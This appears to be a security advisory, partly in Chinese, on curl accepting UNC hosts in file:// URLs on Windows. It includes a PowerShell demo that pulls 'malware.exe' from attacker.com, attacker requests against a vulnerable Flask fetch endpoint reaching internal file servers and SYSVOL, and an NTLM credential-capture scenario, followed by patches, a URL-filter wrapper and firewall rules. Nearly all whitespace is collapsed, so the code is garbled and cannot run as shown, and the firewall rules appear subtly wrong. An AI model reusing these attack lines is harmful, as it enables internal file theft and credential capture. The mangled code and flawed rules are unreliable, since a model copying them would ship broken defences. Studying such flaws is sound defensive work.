// lib/urlapi.c:974-1030
if(ptr[0]!='/'&&!STARTS_WITH_URL_DRIVE_PREFIX(ptr)){/* the URL includes a hostname, it must match "localhost" or
"127.0.0.1" to be valid */if(checkprefix("localhost/",ptr)||checkprefix("127.0.0.1/",ptr)){ptr+=9;/* now points to the slash after the host */}#ifdef WIN32
else{/* the hostname, NetBIOS computer name, can't contain disallowed chars */size_tlen;len=strcspn(ptr,"/\\:*?\"<>|");if(ptr[len]=='\0'||ptr[len]=='/')/* only proceed if the hostname is valid */;// ACCEPTS UNC PATHS: file://hostname/share/path
elsereturnCURLUE_BAD_FILE_URL;}#endif
#!/usr/bin/env pwsh# 演示对远程服务器的SSRFWrite-Host"=== File URL UNC Path SSRF Demo ==="Write-Host""# 场景:攻击者控制带有SMB共享的attacker.com$attacker_server="attacker.com"# 替换为实际服务器$malicious_url="file://$attacker_server/public/malware.exe"Write-Host"[*] User opens URL: $malicious_url"Write-Host"[*] curl interprets this as UNC path: \\$attacker_server\public\malware.exe"Write-Host""# curl尝试访问该UNC路径curl.exe--outputdownloaded.exe$malicious_urlif(Test-Path"downloaded.exe"){Write-Host"[!!!] VULNERABLE: File downloaded from remote SMB server!"Write-Host"[!!!] This is SSRF via file:// URL"}else{Write-Host"[+] File not downloaded (connection failed or blocked)"}
#!/usr/bin/env python3"""
Web application that allows users to specify URLs for curl to fetch
Attacker exploits this to access internal network via file:// UNC paths
"""# Vulnerable web application:@app.route('/fetch')deffetch_url():url=request.args.get('url')# VULNERABLE: No validation of URL schemeresult=subprocess.check_output(['curl',url])returnresult# Attacker request:# GET /fetch?url=file://internal-fileserver/hr/salaries.xlsx# Response: Contents of internal HR file!# Or:# GET /fetch?url=file://dc01.corp.internal/SYSVOL/# Response: Active Directory SYSVOL contents
场景2: 自动化下载脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Vulnerable download script# download.ps1param($url)Write-Host"Downloading from $url..."curl.exe-odownload.dat$url# User runs:# .\download.ps1 "file://attacker.com/malware/payload.exe"# Result:# 1. curl connects to \\attacker.com\malware\payload.exe# 2. Windows sends NTLM credentials# 3. Attacker logs credentials# 4. Malware is downloaded
// Remove Windows-specific UNC path support for file:// URLs
#ifdef WIN32
else{// BEFORE (vulnerable): Accept any valid hostname
size_tlen;len=strcspn(ptr,"/\\:*?\"<>|");if(ptr[len]=='\0'||ptr[len]=='/');// Accepts UNC paths
elsereturnCURLUE_BAD_FILE_URL;}#endif
// AFTER (fixed): Only accept localhost
#ifdef WIN32
else{// Reject all hostnames except localhost on Windows
returnCURLUE_BAD_FILE_URL;}#endif
// OR: Add explicit check
#ifdef WIN32
else{// Explicitly reject UNC paths
failf(data,"file:// URLs with hostnames are not supported on Windows");returnCURLUE_BAD_FILE_URL;}#endif
# Validate URLs before passing to curlfunctionSafe-Curl{param($url)if($url-match'^file://(?!localhost/|/)'){Write-Error"Blocked: file:// URLs with hostnames are not allowed"return}curl.exe$url}# Use wrapper instead of curl directlySafe-Curl"file://localhost/C:/data.txt"# OKSafe-Curl"file://evil.com/share/file"# BLOCKED
组策略 (Windows)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Disable SMB access to internet IPsNew-NetFirewallRule-DisplayName"Block Outbound SMB"`-DirectionOutbound`-LocalPort445`-ProtocolTCP`-ActionBlock`-RemoteAddress"0.0.0.0-255.255.255.255"# Only allow SMB to internal networkNew-NetFirewallRule-DisplayName"Allow Internal SMB"`-DirectionOutbound`-LocalPort445`-ProtocolTCP`-ActionAllow`-RemoteAddress"10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"